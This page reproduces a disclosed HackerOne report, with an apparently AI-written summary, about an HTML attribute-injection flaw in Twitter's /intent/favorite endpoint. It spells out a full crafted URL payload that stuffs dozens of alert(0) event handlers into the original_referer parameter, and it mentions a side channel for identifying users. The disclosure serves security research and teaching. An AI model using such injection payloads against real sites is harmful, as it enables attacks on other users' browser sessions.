Skip to content
XSS Disclosed report Intermediate

Redirect URL in /intent/ functionality is not properly escaped

The original_referer parameter in Twitter's /intent/favorite endpoint was not escaped when the Referer was from twitter.com, allowing injection of HTML attributes and event handlers; actual JavaScript execution was not demonstrated.

Egor Homakov Follow

Originally disclosed on HackerOne

  • Triaged in 2 hours
  • Fixed in 3 days
  • Paid in 8 days
  • Disclosed after 3 days

Choose a tweet from a user that the victim follows but not favorited.

Send the victim message like "Please favorite this: https://twitter.com/intent/favorite?original_referer=%20style%3Dfont-size%3A1000%3Bonautocompleteerror%3Dalert(0)%20onautocomplete%3Dalert(0)%20onwaiting%3Dalert(0)%20onvolumechange%3Dalert(0)%20ontoggle%3Dalert(0)%20ontimeupdate%3Dalert(0)%20onsuspend%3Dalert(0)%20onsubmit%3Dalert(0)%20onstalled%3Dalert(0)%20onshow%3Dalert(0)%20onselect%3Dalert(0)%20onseeking%3Dalert(0)%20onseeked%3Dalert(0)%20onscroll%3Dalert(0)%20onresize%3Dalert(0)%20onreset%3Dalert(0)%20onratechange%3Dalert(0)%20onprogress%3Dalert(0)%20onplaying%3Dalert(0)%20onplay%3Dalert(0)%20onpause%3Dalert(0)%20onmousewheel%3Dalert(0)%20onmouseup%3Dalert(0)%20onmouseover%3Dalert(0)%20onmouseout%3Dalert(0)%20onmousemove%3Dalert(0)%20onmouseleave%3Dalert(0)%20onmouseenter%3Dalert(0)%20onmousedown%3Dalert(0)%20onloadstart%3Dalert(0)%20onloadedmetadata%3Dalert(0)%20onloadeddata%3Dalert(0)%20onload%3Dalert(0)%20onkeyup%3Dalert(0)%20onkeypress%3Dalert(0)%20onkeydown%3Dalert(0)%20oninvalid%3Dalert(0)%20oninput%3Dalert(0)%20onfocus%3Dalert(0)%20onerror%3Dalert(0)%20onended%3Dalert(0)%20onemptied%3Dalert(0)%20ondurationchange%3Dalert(0)%20ondrop%3Dalert(0)%20ondragstart%3Dalert(0)%20ondragover%3Dalert(0)%20ondragleave%3Dalert(0)%20ondragenter%3Dalert(0)%20ondragend%3Dalert(0)%20ondrag%3Dalert(0)%20ondblclick%3Dalert(0)%20oncuechange%3Dalert(0)%20oncontextmenu%3Dalert(0)%20onclose%3Dalert(0)%20onclick%3Dalert(0)%20onchange%3Dalert(0)%20oncanplaythrough%3Dalert(0)%20oncanplay%3Dalert(0)%20oncancel%3Dalert(0)%20onblur%3Dalert(0)%20onabort%3Dalert(0)%20onwebkitfullscreenerror%3Dalert(0)%20onwebkitfullscreenchange%3Dalert(0)%20onwheel%3Dalert(0)%20onselectstart%3Dalert(0)%20onsearch%3Dalert(0)%20onpaste%3Dalert(0)%20oncut%3Dalert(0)%20oncopy%3Dalert(0)%20onbeforepaste%3Dalert(0)%20onbeforecut%3Dalert(0)%20onbeforecopy%3Dalert(0)&tweet_id=440322224407314432 where 440322224407314432 is that tweet id

The problem is original_referer is not escaped if current Referrer is twitter.com. However it's very hard to get Referer like that because t.co is used everywhere and it kills Referers. So we are going to use this functionality itself twice to get proper Header.

Normally twitter ignores user supplied "original_referer" unless Referer is twitter.com

When the victim clicks the link it shows a dialog with "Favorite" button which has a hidden field in it:

<input type="hidden" name="referer" value="/intent/favorite?original_referer=%20style%3Dfont-size%3A1000%3Bonautocompleteerror%3Dalert(0)%20onautocomplete%3Dalert(0)%20onwaiting%3Dalert(0)%20onvolumechange%3Dalert(0)%20ontoggle%3Dalert(0)%20ontimeupdate%3Dalert(0)%20onsuspend%3Dalert(0)%20onsubmit%3Dalert(0)%20onstalled%3Dalert(0)%20onshow%3Dalert(0)%20onselect%3Dalert(0)%20onseeking%3Dalert(0)%20onseeked%3Dalert(0)%20onscroll%3Dalert(0)%20onresize%3Dalert(0)%20onreset%3Dalert(0)%20onratechange%3Dalert(0)%20onprogress%3Dalert(0)%20onplaying%3Dalert(0)%20onplay%3Dalert(0)%20onpause%3Dalert(0)%20onmousewheel%3Dalert(0)%20onmouseup%3Dalert(0)%20onmouseover%3Dalert(0)%20onmouseout%3Dalert(0)%20onmousemove%3Dalert(0)%20onmouseleave%3Dalert(0)%20onmouseenter%3Dalert(0)%20onmousedown%3Dalert(0)%20onloadstart%3Dalert(0)%20onloadedmetadata%3Dalert(0)%20onloadeddata%3Dalert(0)%20onload%3Dalert(0)%20onkeyup%3Dalert(0)%20onkeypress%3Dalert(0)%20onkeydown%3Dalert(0)%20oninvalid%3Dalert(0)%20oninput%3Dalert(0)%20onfocus%3Dalert(0)%20onerror%3Dalert(0)%20onended%3Dalert(0)%20onemptied%3Dalert(0)%20ondurationchange%3Dalert(0)%20ondrop%3Dalert(0)%20ondragstart%3Dalert(0)%20ondragover%3Dalert(0)%20ondragleave%3Dalert(0)%20ondragenter%3Dalert(0)%20ondragend%3Dalert(0)%20ondrag%3Dalert(0)%20ondblclick%3Dalert(0)%20oncuechange%3Dalert(0)%20oncontextmenu%3Dalert(0)%20onclose%3Dalert(0)%20onclick%3Dalert(0)%20onchange%3Dalert(0)%20oncanplaythrough%3Dalert(0)%20oncanplay%3Dalert(0)%20oncancel%3Dalert(0)%20onblur%3Dalert(0)%20onabort%3Dalert(0)%20onwebkitfullscreenerror%3Dalert(0)%20onwebkitfullscreenchange%3Dalert(0)%20onwheel%3Dalert(0)%20onselectstart%3Dalert(0)%20onsearch%3Dalert(0)%20onpaste%3Dalert(0)%20oncut%3Dalert(0)%20oncopy%3Dalert(0)%20onbeforepaste%3Dalert(0)%20onbeforecut%3Dalert(0)%20onbeforecopy%3Dalert(0)&amp;tweet_id=440322224407314432">

The victim sees Return to previous site link and when clicks, it instantly loads the same page with original_referer=Injection.

Injection is inserted "as is" and it can overwrite CSS styles of the link and also inject malicious events in mouseover etc.

Probably there's a better or more reliable way to make XSS payload execute, but I can't find it with blackbox.

How i noticed that? There's another bug i was making a tool for - probing username of current user from given database listening to side channel - twitter does window.close() if the user both follows & favorited this tweet. Demo http://homakov.github.io/twitterdetect.html Not sure if you want to fix that one too?

Attachments

Screen_Shot_2015-02-22_at_6.16.51_AM.png
Screen_Shot_2015-02-22_at_6.16.51_AM.png From the original on HackerOne
Screen_Shot_2015-02-22_at_6.19.33_AM.png
Screen_Shot_2015-02-22_at_6.19.33_AM.png

The original report as published on HackerOne, by homakov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could inject HTML attributes and event handlers, potentially overwriting CSS and adding malicious events, though the report notes it was hard to get the required Referer header and actual JavaScript execution was not found.

What the attacker needed

Victim follows the tweet author; victim clicks a crafted link; Referer header must be twitter.com

How it was found

  1. Choose a tweet from a user the victim follows but has not favorited.
  2. Send the victim a message containing a crafted /intent/favorite link with a malicious original_referer value and the tweet ID.
  3. The victim clicks the link and sees a dialog with a Favorite button.
  4. The victim clicks the 'Return to previous site' link, which loads the same page with the injected original_referer.
  5. The injected attributes and event handlers are present in the page, potentially affecting styles and events.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you click a link on Twitter, the site sometimes uses a parameter called original_referer to remember where you came from. The report says that if the referer is twitter.com, the value of original_referer is inserted into the page without being cleaned, so an attacker can put special characters that break out of an HTML attribute and add their own code, such as event handlers.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Egor Homakov

View all

1 more disclosed report, best first.

More from X / xAI

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.